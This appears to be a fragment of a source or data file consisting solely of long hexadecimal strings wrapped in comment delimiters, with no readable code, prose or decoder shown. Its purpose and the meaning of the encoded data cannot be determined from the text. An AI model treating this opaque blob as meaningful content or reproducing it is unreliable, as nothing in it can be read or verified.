dd51ee98d9bc08392e65c55ab828fc0df9543644f1b1af8b83c7e5b3b3c7f8d5eb9a09ab5ff001917c97ce14e9244d0f51d5b2a66f6aff52212de02d8952c620dc793e00d4c0ebfdf3ecc12190c40a397b7ea4b6211552fd329c892e29f5faafdbe94580e7fa18adc06c56e109709d0aac32b0d80b229e23b0b4de4336bde0adde7d6c5981c4389c2817e43cf25d42cc3692f393a7c8ff49cdceb2cd099153d96ad28f4c9dd1f0ff505762bd622e06dd592d25597d92b783a777210986fa584fb29a0d7812f7a68a3bde13c39f35683957b17abbadc0d7e7e44839c253f19ec77ca54f631fbe84fdea81b340c1c289ad33157c3d7a680e49e0699e394ea2e836c8a45b76b414e812955cfe33aa5a952eb708998786d63e7001eff343e4760c512a6d523508538d67e5a1f548adb2843f66ef79fc453e145fa32bbf758df8bf990aa20fd85885004e1f4293ade846d11f48684087dc5ef45e450e2fd1d627952920957bd9dc7e381cbaac87124c2cc32fd6e3a149d5616cb22f470d92bb909b93d06ad81f667ef858be1bad9f65e48aad8e5aedb9c80d883122e8c001475c75fb6758a6b2823146ead8b9e602e4eb28d9853f7579a201fbac2109f42f8002931273786717b10d5a277d1d525970e0cd38e691b0a24ce3db23527c44bfa987bb421433736ad23532297922bbcdc3b6ef59cfc4308a903022593cb2cd9cfd4bc083676311ccb5ea4b30522dbe88a71d308cdcbec6d14f35cc0908f106ecc02ad44a83bac21390f74ce64160821ee8833e3895d28da23eed5aa41c30abee0d994162cb236bd404626048249872d4fab35e98e42a53f58ae481ccd56d5298f3dbc1442a288f720f565e63c93c4a69920fdee04cb68a0aa892db19cf08b4d3ce65b538cd97d086708fad016867395786ac378916050f1a08547cfedd03044ee297aae30ae22d33886818f39ab6d1a74d940b2ed8c6bf6eb579ea023dfcc80f1f4fc8eaf3367526a51b9257cf2d53d23199daf940076ed54277c7a6f3aebe755eb6a7c87c5a1788a9e96912e21e3c530348427f3218fcdaa2ce02a9145425b3ee3f7de076b6d59b3d7723ad3a32d2ebfe43e2e76119425542a7344f407916c9a4c6b3bbf326b52304d83602f02c34ce8d259fc005c231fc22266e45dcd2de792f3bb5c06c65410651b62938351c5de4ce2d6b05419d04dbe0a77be4b224c698f22e2406104698cb74748b90c8b18a7c8938af8a2a94377d80a303c577c4cac00a305fadc0f348c37f60dabf8d0def9651bc7d8ed62c0d5e6f8f6fb9a5254f07e7cfacd113e4015e8f9ff12af62e886d580da07aaff8fd249a9c9e745e31f3108fb4f8cf024b4e8a8f7c50de9fd123ceb653e3dffb9b137d4aea19436d24fccf1584145070f50c6de2d9d75a4afc1aa714779997339b0bfe9df1798e7f43ea9166421f4ab0a43500171408ee03c85c66abf63d59dd67d1672c54de848f3e722880d776f8eeff55fea67943e00598d525cf6f2e370717882e0c6a851fb014629b5ccdc6c7b59cf620918ebe4f046c7965e45a373f9814bebd47945097ca218b2b21e05263ddee36492f26b3cadf360d267306e7dc066d4e27fb8f7b284e981e146dacfa3f54abaf5291f11895a2e643f13247a938d71e3cf4bb3990cb82630882a42fa95fe7b835473e9192cb3c3e5c048b8f5ec96b9140ebda6eebe9fa6be76425a37224135ced4b8c4358cf4c46bbb34df40d4287a6f52a1518b6711a0fe876e8801bae5bbff7dd6d41bb93d341c538ca149fb31088e42c091b0a3b927ea0aaa31e8bfcf4252a60487db57df3864b26478a195f6fe47d71f40a066ac5a79e2a64bb28207376275d6af61ab0d1bdf749e6d0a125c8d0c571329001865b2200f90f6ac23136db23bc73a5375f54d0ffbbdfb945587d20a124047f5de9b87932a927b671f858220eda11d0513fb4ee618d2f628e9bb030c4eea0a1437879693a975f5bec34e7159010c1aedaed88261cb38904b2e2a8b74e7*/
/*92f435af8c75a554a04bc248ed7b066a5bc97eae09db6991610b59a8b7a9aecd228a7f3597e47609fa8ed18aa65a97ca3c572a601d603ed075fd2ecc88f5fe60911e8e036b85e0d1ea53532b40c06713122d38f33508ac7d6f892f6981401450def8d0c7082848b7606fc280f9d36e088b258a499939f77255e93c28aa367a69036597c550adaee47c2f993d289b8c529491460448f2fd9a2983371c9d52cdcc7935212dd6e077485d73c491d97805e3d53e8c395c2eff269fd8afeeb2f4d52c81d6ac9c635683223e78e581ea741782a89bd19b5c4d822a0b1f1189ea158a56965cf8fe2f68cb47b21709718054e3b677c1a2c02734af1dd480b1e92bab7e38b3d267cd7072b9158bb5957722ff95029f3aac426943f7201df35200cda39d085e95683486a142f8c26cc2516de3fa7461e403829f2ad3479609dde7ea4369a1af21161462463496175781c6775220369cc2ab74720dfe346e05f5f23466850de6ca567496a17f2c5dd059d402ca850cbba5ae3ebdd67efc21c5e55a7923533c78471307d5453b568dc746af635ce716ff65e41b0bbe013a648808df66fd7bf6d13eafc80a6fe0ac7b269fa926f1e41a876bd805e4112f035f399ac118b954dcb488e71d701375a235a44f38ce940ad16063a294a668ffa8882357866523b360b82e34188144334c50d90ead2f8b479d34908812efa07dfb6045ec2a4c948caee66935f2e40711e94c7172b4bccfe2aa72cff029a406f7a7349344d5aaff106a003b3c2ab7f1a8603176c3229d89d1e71ebc838859d4733c361027fa6ef42cab37fc274f947cf357f574a1fd1174d4b7c0aba2de40e8ffb82dc0684d4851e4b1562105f4a5c10184b4f571450ca7cb81921c1fb0b4cf07ea4a7ead1cf6d5ca063989612ee4763f37947a4d6e5366e9219dd0cbaeee655b028c5974eab02acbfb014f49ddcd511eed538846ca2d168c87f78c2927bc8cebe0542111cc19176787b6d083e52413e5b8c93b74811d104997087d07de3d54639c80b33d26da2bb1dd94909ffad270f30a975b99c64c613eb3ff34643e3c7f803d0d4a6f94eb652cba46d69083c4b699a83b18d65e9d9f8f3d6b362876ada2b13ee9c93eeaf3fead9358819fde95803d9b85b4f4b112ab80d780d57292ccb8b146556b3c06f861241ca62925a612a4a94028c3cf9c953855336295b924efc20fa68969aae836000a6f92693fda02f0ffffa4ab54e89c456edc1d429ab5e5e0258fde5796b7663d92bf7dd31e3e1561b0e85438ab6dc8f722effb7c452694e82555200b3d4204d62414348f1f967548be6128b566ee9d6021ff4c213f8deaf40ae626301792d85ffdb9b17111dbf366c7fcea2659747ad32cf98e39b63bde3310b8d48d8d80e0f2e9e06a7399f956fbc9ff4fdca4ac1d74d868f5f6118ec51bf05403968df43c70397352c5675cbd4ed1e83f40434d9f2939bb35b5a2763e15adb84aad5098eed78fd746e1933888f8ef1d79e5438ccb74e1959aefa1b8cc5b5daa380bdd38cb9d90ffa9f427a1bef4c8df5ead9669ccd699040367454a77d2d8d3893b5934432a516a1912fb9af48fadf81480510bacaf6055af3715827bd4445b41359bf090bf952eb0c5d8d5891acf5159f8db0a3499b8794a4e058404f75674a19a4a215fa5cf92c3dd704469f8eb4e0c1acecd817c169c4c3a08d191e71f80082168dd49f5d65edd87cbbbc6c85662a1b234d8feaed30dcd6688677caccbf67c75cb549f1f6f3073093de371bb276391481ceed651365ec021f0e326d7774ae7dbf018af27c846deb822dbb070905b488b8cd1ad4e5d040738878adb2705152cf210095a5aff925f83525ec19ef4577525d683dd539157f904fe7bd1da8f186b8bc9f25ddb82d709bec681f5b3f76b147935d6766929a344c87323cfacd602c7c5e0be3d1fdfd4934c5557ef34daa1acf2c5e9afee0f071025878ea98ea542916e0ea983839b070905a4440a40fd8c877b3855c2c89d936350869057c56843c303e43ff6c6723803ab93bd8b7574f7caba2881aa603ec3521122e411730e71b80cdfd7fb71644ecb03f0b8640c642319d92f4430245acf8a8af93935c1a1955463be1366b908c405c00e4853f5e68508c402a58c19582574b113427cf9f0fe28b560856501959462ffd4634bebae451c28a9c3a2887324b4a4cd1411bbd94a4a2910fc747325b35f1163bef72972cb15d1d72c8c5fd97a3470958b363e5ef19000d2b72426e4a02c63db6f7c7dda2e39db3f806baae353ae536929ed6c29668bfeb1c12e4ff5dd42a50e8af1b851e2fac6a9dd7b9ece998f00a8721fecefffb0e4426deef2babec0d0a9bfa0f10d739232b372421d98a375bc9219e23f3b8d1b1c0cdb5e5bf2a40a84c0249349b29fbb365b7b51c9726db0e0029804cb5bec584514894badc6a0bfc3c78d8d5bf94a9f684ff52f4f62d7cecbda595de8a760ce48bc7348c3905791e48096b673cd0a8eaf3e95e63001bee7f0975c86577ce652a3c9184128a93434fea094673522c1e62d0db1eeb21f2bc00ea1b8db2b5dcdbf1f8036f09e6e92cc976fc385f5913d358c5a2de67c4a92b96a1cf23e1e49fe7a7bf081adfe6a642a7a7a5e585d1fa59f7c435cee8d3e46a2f6627b0dfaaa949355a83a644eaa697c0ea2f05fc8b34f59d154dcdae606b4edb1ba858e6a0a1779aab7bc87f01571c09235eb3cdc79847dedd5f4faeed314675fac94041062dc1c6b4e5332414b7e8ef4ba39c7eadb95c9a77b254ebcfb1ac0e28c3473bc27b5600dfcdc8f902079da32528ddb9e84af2bcb3849e8666698*/
/*db64c6657fcf5fbca9d143a68758e9ab407f06bdd596bc67b28f86f7311e1f50df414422d876032b6b31d155103114de5d6312ed8c2c69335a296699efd9c4968bb6eeabb024d361d241a8e4f56edccfbb30eb7733e09997df39c1ca3bbc0abb4916eb0b218507310228a11587d73504f5626aab87f094ac37a8cdee5d5bf8eea46f2f66ea7e409e9cb4d4bb16e605c1cbe8166acfed00bae59bb41ebd80f2feb1ee0e951818d92dea2a1c32ea7c730c8371da1fde7662e9123f479b65be0bae5b55dba28e1e3fc69973dadb482b325f87430f7f067eaed2c1f4a1cdee1155bc65d819a9ebee715c78e12e9af573e457dd2b89ef91e007d5683d3b0f5ab13641d39694e2a04a91aff8ca4bb780edf29821baaf2650eec289e4d38d9a0a14096901a467355e0951369cdda6e89b3ddd92a1c22dde96ee1a33f8afefc1e356acf47ba5ccebacbbc6ad245cdcd5b1ccb581c3b69d9463a8d94f6bc56526b6b3275d8dfab7ca5d6388df2f4ff6ad754f463735f3928f5b421a10db2ac490ac5b2197c98eb9b08248221a2c8038fc4490626bdfeae88a7a54812f3e609353f66ab2b73b2480dd048da676a1ea8d8f4398ad4d502f5368223576c7a5dea2b6e6d2d3cd279fcb51663955c8c95b8af4baeee90a1fc09fe068dc3a59bc44e6cfbe02b2666f8f48d69d57d13a082d363d4460b62f24a51ff53a37e171714d6d0f10470ed78145da5aebe93d363fbff2d0fcefb20bcd2bc7484de572704d40c1d3921f62d41963b7b2e55fc8376fb7716b9aed72c86bac0ba3d83bb2d6a5348d91356596d348a2cffd988202b587f3b2c238127425f6d0891ce2718fa536e3e719c1b44d56491d3079cf5b05cb87c361e2b903db152c8793402b0a73fda31f3a39d26899521d9096d7290f53b7105175f7ad94c60368f9508cde4f3283bdd5287b005b67c32118061bf19c2b7319163701e7b21df11aa4add64445469d3e0318b3347e82d3a4f294d8fd2ea57044977bf37ce710555966a9a8958ac27555313933f94e158c9da3671887a2eed148b5284962815f16253936b1dbe293a6f0b3ae98dbbe85d868df99147b798884f8e5ed711a66785d7b97ac20550f5eafab15698ec3cd804c69c9bf2c9689f25b0920fec5f6e704dd883e793f06dfe5184476d1e467ba5a87f341d7b4a5fd53633e1d2fe94421c4cacac69020f1806c52833003ad7873ce6533c8aa49d48da26b32620d75aa63080045cccf8ddf268ac2730bfa89aed9db10ad5eccd1383cf40e077f513796d7fc93934b8eeebe2ef0756fdea5b737e1e2a996d6aecdd77fac5599f8a26797316da5eff2b59ee56b89c64c715356682b83149d6c56c2b922970c5a56ab83ee97d36e2c09f2ee0faa1b976742767b42a5fd7ad7691d01958fe4ff5c67280e9d73ae93b1d538762d39a5c9f003179e118e059fca177cf8beeb9f0f92fe6f90de0ce4e5baa0888e384a67dfdf0e28bb7f8f7ba52f48c45e33aedaa467bc5a662826b0e2ee133f150d578d564a55c3ce66f1cd388d460333697f4fb45d7f7dd04c9f6dc620d525fd02e80b6a6d0c74f0a84e8b630a22034d60cdd04eb66d6d75217283d233ce933f7a9435fcd623658612d85556d142dd602ca9a09e5fd7333d6cb69ebc844a8b8ac707d894cf3d4ab6c05ee0c58971cb36e49c9c612b60a0264948675208a568097bc1a21e8cc5a1009d0e978113f0728d8f9fc0f61eb34391ae1bba7cfd11ce27bd1326784e102ade690999cff5bc346645d48da29f84c642c886e65fe906f3802305434945d8f034ae59b586092718cfd8b163984b052de9a72ae7bf6dda2a83d814b4253c5ee988e1a6004a3a6d6a5c64501f6c15ec9b45e32e6079d0b8925342c552b29bf690e35559e527cf1e6827003ec569906633163a7e34fa710e750e2aeb2d8bca8fe114be5da6d38893b7baf9ee0e859c7d5d85a819017796e7b4fb047484678294a89d9dcd13e3a0e0452dd4253e8d965e818636991544f12096fdf7dbc6b5bc81a150149786fd119d3d32a7866a60fc9befe4dec2267e5e229b80b86354e57a246bf076fdd309c1757803b98898b2c05ad8212f466b763ba8c6d11ef72c8288e4ddbf4da8ce4f842e95eb9ed65293099768db822e03ab0324592c7c8b9a0171b51e43547d6a118525f24f7b09902dcd516a9a52166978e8bf527a864dfbbf476a656d26c0dcf02f834b467e646406ae432c33c5c04b441971bd170672dddf718a64594b87a5f36dfa7df2f708ddebe6ecde1b498b6c75fdfb6c34bbc5966aa0527e8385c2f990fcf5d3cfcfa35f98d529eb5759a3c3311fac00c2db5bd2a17b2e753663fe8967f6e0cbf31057c5300ce262b4f8f40bde2d894714ce4a74fb4465a5eb53c3f94f2e6c6c4484b5b9199037160aae6b9325d47b03c34766df2fb2f14897a2e23480f763d3b0be4bc1916a0e317e6330ec6a15ae6961d4e984a2802caa89ab07f68736c4332dd23d32920544e8a8be2ce9d1d480a37224aaa4ef41e57aef15977f4e3c630409360443ea0ad10a45d54f679fe6cbd80bdde1c3527df637ba16dac9fe0a4246258c1e99f5af22e37f316f7ae01ef28041d87346937a69e995cabff91066f3bb5db4c32b0ac400a1c21ac12d5f384ec17c15b3416b99285007ee060bfd61b461e722aba951338632ae500dfaf9e6c38eeb13eb254441d8212f0b59c89c809e0d778647146c5cf04782ac49dbc851b6f60a02ddbb8e7eccb9678b7f903a504fb4b903bdee04174c9c719e7ef73fc50933996a64415e1116593344008ce27d2f13e88cce9bf0526b19ec1b8f7dfe*/
/*553b9d21cd95c692889aa2079565b84b4ed6adc134ecd3f6fdf6578689e1e1cafcc7d8bbca7629f9ce3ebab8863b352650fd5b9279cbd6500986af052c72839f1a0d06b0cd21250ad81939ec0de896b111e5f1e5ab78e03648979f29f887d9f1a30b2023404c1f29115ab13b0f617ce6d2b3d074b5240de020765e4a3e09798b38ec880771f2c9b05406069593e89a1758f53ab127f1ba4cbfb9db0667c523a7709aa7298e563a04b48f5f810300d4e207f15c0f6241b442113f933e7962ea384a15d34abc8af674037f0ee12acb8f8883382ae31589720fda1caaf7cb318bc83895b7d9e7e242a1daafa749770ce7d1d64f2d987d31e7d7e4f719af0e6066a805a45b42a66bb4407f2109ccbdd27059e2fc9a0f978dee76139e6d0aa8797ab469f61bc567ffb1eb1e931a15408e7d2be341cd8fe5794122f775516cb9f1161921dd8f9f76298e416143e2fc70ea9925634e9ecbd2e77c81951420b2e27d9175a3f8efd8d7526ed2a3029a8cdee9df06cea997597986f18857ef2ab3d1df1cabbf74e93b621fc1c4ef4b6f0f0371661774395627b102b60550bc572fcf0c484648d23468c990d4b13c201a56556476a06a94bcaea03ca23c5b3fc8dd4a0063d9c56fd4e2fb45e9df6954e3e2a0152628ccc8506b6b2d2b3318aaaccde1ceb64086b5711b3a3c1095e9445d37b09155d98f427350ac2348554afd8e423fbdb7bdc127e664f597f324ed8b63697cc978bfea53755e6bb24481a80b2d5d0a091a440ef576c59ef8e2046239d26077ee18358c913df286404ec4e5a7b9cfa046c903fa7f67ee25f663ad337318afc5896dd39ca9eae05361f5828d2f39bef7b7222f33b42f37b762e6d4c38b1191ff2c781c851e7e29228f729336d53345f428909b71f29caae3186cde58573cb5736659a98a1d7d5e7c93248e63980d8b485587f30de6a4a34bbd2e462562d9c79061c251c816a10aef2a1b7174ad1c3cd438d5983182f7116bc0462d18155ee1846d706efc921551a6e6420b8bbba0ce100d9734c43e435180b953ed0a250225cb672dc3ee52cfca5650969700aee26268a2661b721f3543c047eb2cd5b6917f60975e9443151d4b6cb7e3282978407fdeaa1fa97919274cbe6a5dfdebb891b408993b59118273fb9279ecd497555ba6d630d2130ed5855d39529344797d2a4a4e60c88ede0530d98ad4f7222495ebcab54dd25b4682dee05741bf43d2eb371f978b80793940d8cfd787cf45f844ad1eba28a4013b3055ce41acbe786f779e8f9a7fd5c3cedcc1d618e15b8cb8158ac4d170a7892b4c109a9c5d187aee21384fe1e4229496126b777611a06aebe4069f00b5816ed00f5c6672f9e13c344ad5dda6d12d7e1d26232a245bf2b1b93d28d5f008dce373bf6e0bca501bd2d226966d17889d93614c340a5a2f3de403f342fb62fec9c89395e74160ff15ffbf0b698af293661a70d18832076624c25810886ca8195e6ae12ad58de2d49df59af54acf26d879a83d812d796cb5de498c9f3e94b9426cfefde177a793450126ee75dee49c4c1c466aef2b497d9f3ce997b90c58e5e58f8292ccb44b5871e5bc5d86d3186eb4e9d31e3b8d2f61becaa747283433af7c947770a387c44a995f489cd7b81efe6cda33c305e642c2d206c0a99840bdfce6d9de21ba903e0ca8f64f76f476c28aef358d13c0f0c0ef840c47d7107a0a6015020ca3918c8064d84b07f60729d037a07c7846f095a118fc5d777e508135182715baa47a4dfbc06bc33f944eaea376adabb410e00082251d3f15e441be9482854cdb76a15ac2c9826a04045c79d388c0b0039de4bc3faa5027d08d5ef0a03e5cf1657cc454516594148a46c04b7812fccc5c4aad39bd39100be222b37690b5e7123033818260ddd261b01d94da1cdf084f96c3aee2e44c2b2745c5fe7ba850701b6e1560ff3258f01512e55db77e0dbfc2ab06d9bc6535f2e699818ed8f9c05b8e3c395fffdebd7e685c4336b540e1a349f2eec432c2babcb28035b42dd4cee07fc7fe839cf3769fe280c9acb3d752bccb7b322417778f5d8c3ec2da23c65a5ad7716f2933c015102982c63a719a83d4a0fe75d297c5cd7f319614764b90470057ebb359ad556902cb4e213c82b202b1948b5ef248c99b37c1ddd83eb5af84034e545d99599bb184f45b6ca5e8caab920d396ce175358c6a911beb46ffae17868dea3f3af224881f89d6971c799d9e2b321e5913047f0de0befadddf945329c06c01d0001bb0e14837475defd4a83d46031ec8a7e9cedb1b0c4d0a2a048f7e2eb256c875c448767dec601f33a34395505893145f23c4984a90c9524047ebf40c68cd5415b8a2e9ea273010c4ff7c4a6e7b79c61327be354ca86b21f9b78d112793617578f9e71d742f1609a29efa78315f881557966e6bf55bcd8b16a908a1a805ede130615c5d70f1e5628141d9bcbfff134cd51ac0b16ad48cb8c52235daae0e0a2caab3c549ede506cc86705bb066edf989cdaa64e7eb3bf94160ae02c83465ca5c4affad69e1973cd365fe9887c18ed9a015d9bfb8650a101cc1327de7290fdf8c967295ee2b51fee679ced1e3c5dad3d7997e8584d3af015a2717279906b3505019e645d5624ea5ae5f6d2ac71c228ca27ef34bfb3e10dd2358d0c80805ae54e08a10bc7fe3c54bee50690bdd9a079e743a5e31af6a6fa222a3f536ab1c2df0e89b9b3e8cf49cdaaddd8e20c920b143666765062b70d0eafe9e674472c3b7a75a2e683f008d6900cc8683ec36c1662ab2375c39084745729c7a402b1deff5887319cf035b09d7d74e77dfcea0f24b48*/
/*e5c681365885f124c881fc3f467ed10b4c350e2aa48e809b19ed14648efc3db89af1773558c03ce577dc45eaa9d503ab5533a45ca471fd882f514fd593e56b8f68fa4af031ae155049d35680e6fe5fdf73cf1d3dd324cdb55b3dd01c1bc6195e49e6de82b8a6f64d2941cfd74c25c5a986a2e97e2b34df2941be94a518322ebf493b4bc90f302474716d3a47b7753d88d85a7933024fd5b54fc58c7e66d9262435e2ee9aa1190a8b9d211cefaa180a64b49618e4d13da5674e2e7ec1ed4a410b1f71ad9edf0968f5bc6b34ac5952aa13cd6b21559d3654e34fe4b6b9893e272251dd154cc24b78e80d342a9242af797ca2fa8dbb19604d2bc556f643fe5291c91e959eb3976654f77a81ad18252036da26bf131482a5fa28680c43bf2576ef91113ba63b32a58f16dd324aa84836c76979b1844c88fc23776f717c3898100490e730f1a37c9b272bb2cc6f9353d9a200e326d5bcf5903532d2624fdb23867bafb120e353a28f4d59833214222d280cff401dffa68fa0910ffef5c096106138512810ef6426546954b9b7bc4be7b82ad058a62589014185587f005cfc9a60e63e047de5abd8499b5a336b919efc4032477729755f5490dd07436753bfba328605b0624fe2a2305f48c0f94b45ef473f452c72a55bb2b1f7722a5e179f7ecf6d3d312d532a5277fda2a484d350dbca2b9902e0159554ba429074d064278df9d431e47014298ab5872516a57993371f45390cc71473b011ff4623014e66e1741beafae1e161bc3ab37f7b31e36cd677fbb6c1afde457c6c0eff61be3965e2ebedde640a55d39cb6c5d3d3fe37394478f9c7ce4a77c51e353490cda904a3e0510424c31188110f7cf5a8a9cf6407feb789fbbd80226c3d9fd1c40a85ecd1b258de35af76f6f191b0d42fdccd8e8939dcb2f5910a52b88e58a30744f7b7e5e1f0d5dc5a4468aa91b7f817eddd3fa373735ef3fcb526c63e0095b2d73ec78fb1d7b6bc6bf7ab97e8be2b9c200d486a6f193af4b0654c91aa1c0ec18b00683c17c9d2e0441bbc35fba881272a3b33c8a9ade425d4a6921f431f4c394b1cd8ee6f1fb7104ba9ab87949f05b793e091b9e0e553ae4eb41f4c5efbbc7ed42779bebbedb11a676d5e6af6f6238ab1c70ddf15c508fe3947e65db6a7402fab32d69b67b15e9e2605c8a9d09628b11c370deffc1915e6f5898827902634d4a424a883e0f9a591e08137371476c62d399f93ad087c19d28f9ea2e9bd2043d6f6e20275523e05ddf0a5dcd6dd7cf4ea8ad3e5ebe44115614d44fc50c2bbc29d83a44d6223cea462ae8a9ff3a060cef0b8ebcfb6958444a651aa174cc2885585cc1f3e8693a0fa6269c09d30c21b04dfd38a8cc7280371b62686e7066c6f10e3097fadb048375a80d046c2af653294fa8a173208d0a81d7e19bf47c84290540af33653fafb48bca2090a825e4b9e716b8fb6e5bc603542774510987fd54621637b52b16f6dc73ce8decb262de72fdb80aa7eeff41a5cd4051281d0fdfd4910e09c3474efdaf66da4f2473962abcdfb9380cff4c7c8d5003556c5fa9b90705d4c5890fd5fe29eaedf2a576c30596f68ff3749ebae7d359e38e5598d03e8572e49fc052aa300160a88127430c3fc003c92a0407acdc02aba8d6b8721ae8bc5a4d91527dd7832eb58d07722a9863a4d3bd92e8821d065332de69d54ddd748c5acad234633ba643d1bd2c32ce9f1e734347c7e53e6fdd347044027975a301d714d4e7c721cd8da52155235df0063220aec625a86fbadce46a2a2b11a2a7ca99dc3838a730074b1b98c2d4d5eb4f759dca8102ffedeedc363c642dd156219068fe59b765660acca2dd87f8ef72647c426e226472d1d5430027a30d05f2cebb52c9c07b9be6d8203d31683e387850111c9612357d94d07bfe8f2755636b57cb01c38e10dd68d32e79b5f7858eb1ef6988ae98a9612d1a440df6f26b41f75c8ebdf55b3004dd386223541b70d4b30c4b84d45c18cee1ac302a8185dba2cfc1ac3a1c18717315c9d23a15cfc85143630292a87ce12fd1535fa8bb3e7dd24bcc689d5581b74ce90fe7ab864eb0a393bade5652cb46b2df6db55737e73051574d145e80da227d029032921626ab86709884f6ee6baad7b9ccb27e86701aec38891f639087214d7ddd1a667d138876c2fcab1c1afb67bbc2318c603a5454baae5d7b621f9e6b189808c0d7d47c168f575a58e428db46caddd000e7f36d7665c10d3fbbf6134466ce1b4f200a9b27fd692bc5e0ba1cb7163e003fed174bb8405273e490dafefd2e1b823722adaa594d4aceb164c4dd1ff91fcba185850b4930f8a6e026514014bd4e9e73deeff6c27dae345ace77d3a67c291cf0767a37539193cb9da2b45577bda10e128b35264c5ba786df91c0a9b000b8ea0e247d0a1b0a987e4065be9752c7980ae58ab108160ca0a1e44a0252d76ef303edc7e43676490f621389f00c8e77d4b3bd59029f11db8c2f557a53faec2a8f98f0bb7a76a3833ff386114f1b47b48319801cea1c2e579fb1dc9846514b2f7dff6d3dd37437f5bb4a25e248e779ce822f4a740e9494261b5447369e28af390829eb151ee6ec75c1bef4684ba15d53b6d313d579bd7cb26d77e4364b1796eeb6ab3b43cdc8b214fe7e14561e8582242e76b7001d8badca6e44b42ef2fe7f8e08d6e75a30ffaef358fd571d70c9f45b5c418e8fe2fea010ac09bb537589e76b6abbabccddd578a3528e1a3c3a0215b4b4f120a8430eda9ba84233c58312d23e87c85bbdde002549948f0176abe487335e9ab7a2d75c3f029105c307d82863b384a4fe027006e*/
/*f60fd53a22ff0659c819741d49c17ee9d9048ac716342be8967b58ecfa911a09ac5b8a089c81699b77ac3ece95b96ffebb5b0cb1b5d5531f8e81cca811c01b6f1f1535aca04d56cc11dbd41e7f55f6cb2056ac09e6603cd6147ea5c8829f2377e194a16e63d6bbd5ab77c51f925503f72af078432b8e33a0c28d92a9b9f339addc09e7c2f79bdc75a09ec4a74bd03a74fc3b0e11cdc0e82c7ad3287315891236ab6e9a865227e87ce14e9c12939cab64553a360f2989b1b7805372046401c258e7288a8646f3f56021900b2a76e140ba5ebceea5c1015843823ac7143e46f5a89ada75361d86a55f95984dfc11c321eb427056c5457bd8026a08484b893521c5ad465a58193c14b98610ec959ded4dc5987e4e8f32a23ecb6b35c817540f1bb570a63d983e439a1a37f1e2293fca0596500cff2679aa8fadb4997e245112b2b35c09b30e40fa7c58cb4b1f052cbd5e634ecc6889ca8880a6d6abfdb5a60253f47802fdd7cea8f6f491be66cfbd6c68b738e11970eddf49ea2595bf5b6803f1e724c679fe0afa1ebc0f0e11799d51228633c79a8406108a7e50715a36d3175910f10033e514d341225f0ddcb2b6a7e0ea97006e20ec74494cb8565485d1d481440395ab9aa6faf5f05042eb2d756af751ec72515295ef00db8bb480a1fc9aac4eb9e727bdcdcf3dc46dfec90ca5702c1134465d8bcaa35598447e7e9b52e3dc005847f21929d45196eb326d28492bf0932c3d7e91abebe5051e8bfdda78876da2a9982cd07957f1515be06f5bb3f85bb6bbb7bd6911ec50a11f5f2bc5d6651c5e411cc55af9de43eaad390ac320aea04051a65b95ed1b3153d32539cdaae9c5ed2165b92bbca04a1e6c04d092a4197bc989e89b1c58acb7f00ea1eb8bc5cae03effa4972aff0383d9f3c3d7cb72e27a77702fa4d5a2af7b93422650c1cb99ed413e73151f26aa1f331f024168fec746b2d578f16bc19eca36133831b6acaa693df63f04c09562bf840500da95d8bfd30f372b07dcd96819a1fdbfc92a27fb1484d8493cdfa14a94fb3d8e36367977916a47eb5d5e091e3346b943991a2f81348ece4d88f7c3c16047d814556bce310c56602244ed5c8f8fbba5d3d93438fe45e5533b9eac0721066646605e791e152fcbcdd4119663020cda326f486a7640bb23f990386344ec2bf05aa7a6d37eaff81bfe9e0e6f69a0bfd3dd61cfd23888960d03b90fa29c21b837415a022886fabd6198cf6020b60ec7d5d117c3cf13ddc03710eef14ae587ea9a55f0b9dcf66e8a5da4e3aff2970a85d554317d963769c1ad3bf3eb1fa07b80fa50b67f4f6f290d2f497dc4a69978aa9884e78e83aae5ac507d4a359bfa9bb509ccf8d94e895f12c99433b45f55558ab0ecfe26ab96918af91f41a5e006367a51fc8ca30cd84ae51aaf8fc47ab11b05ea04c8f8ed7c25d2f6bd0ec1c811417aad1e707aced3ceb609d2d034a04483b7a96cd046da40f4e71da9b64589b4900989ab8764e38cdc81a23d8198f93c6aec46131ad60fccbad9f611536ec7eb29c8da2c8280658de99ac6f787b1fccfa33024a4339de81d31688dfb30adac5795257a87472bea28d4689777a0e9d16ae1a0b2082fa27c402e5ed29e6f52328020d5a533fc3cb463320e7f5cc744afe2ad91aac630c9a57afdcdf4883e1be3dd1a1f6464dabe127336ed4402dc8908c8a1887cd773d2090744658c85989ed50f3079bc85600341513e7088b38fc8d7b77b20d5ad9e791caa71f307d89564fcb5796f1ef5303e868b7b0fc39fe2eb5404ed4a4f94f0e041ad6901b0b7ee8bfe7195e8270883cba2f24efacd38726821ee18bb366098ea52a3f4da498e7897d932568470ec1ac9d1b958bdbe3ab05ceb1ff202bc86659426dfb5d69ff7a5dc80b78635374856ac181a0373fb70cbe74ff7f811a51c86b64cedda782c3ab179d7c9da135216a71db44a9c481f17d7b75daec994bf902032c6bda93e08a49b771058a8ce9fbda8511abf0ebd326ba8fe42553e8b6cf73e5fbf4ba16c9ced7691cfee2e2ca6ebf5a19b317d440e804af52bc478a8a6cafef509bd03cf0c3d6f888c072ef0239f0a6df418dc6fb3e955a353c97db6adec7ffb0c7b4ebfc1af68a0731938025850584e6f3ec7b7efc37ee8b8d526b42b0750f7802e924ffeb9f2abe8816ca3ca6bf62fcf3ccd7505892e7402e27fdd61cb95579ffcf79c022b6df9644844e96afd4b3e74948ae210f4b032f50d9e02d96d98fab9680a9294d930a753f9d0cf05efd7529f32e357e6cd7786f41581143a12e840db296b337f0f6cf634b63b5ebdbc2add6d62b921566c7b6caa69c69318cb7ad89dbcb6ef74f85eff0d22ded286c49188bad45dd1f967d0422d74bc184b00654872ffe3ce8bb60b58a5036c3ec63eb0f8c21c67df7177c922668fe3f0d493eceb3cff8191e532abdd6c2e06375578b2dedda1d4f35f5bedc17a103eea7ceeb19e69d519355b7b96733e22eaf614a0f707bdc2361b87b8e77a07948e015e9a38afddb3b3ba5599448fdc4597091f14e3f06fc6d5737e9548a70307603322fb77fd287ddd00eb0f27bd94b9485fd771557397eb506909c746ac81ae0454ed644f106c4211dea6f4517a30eafc9a238fb7fa1e2ad8e4e6b35613e12b8127f26db7ace4912feb09f83a797cdd34a21ca722607bea02b13698eea99f44e8ba2948e40d37702852d74c5b1e114c890351231fe6f7d9a9df87c149ba75b21e351222cf30226ba206fb67720f3f0af3f07f10b813eb143dc8ffc98c132c0cb68bbfcbfb21996c459486de2e8811feee5b28e953cf24e8d34d76*/
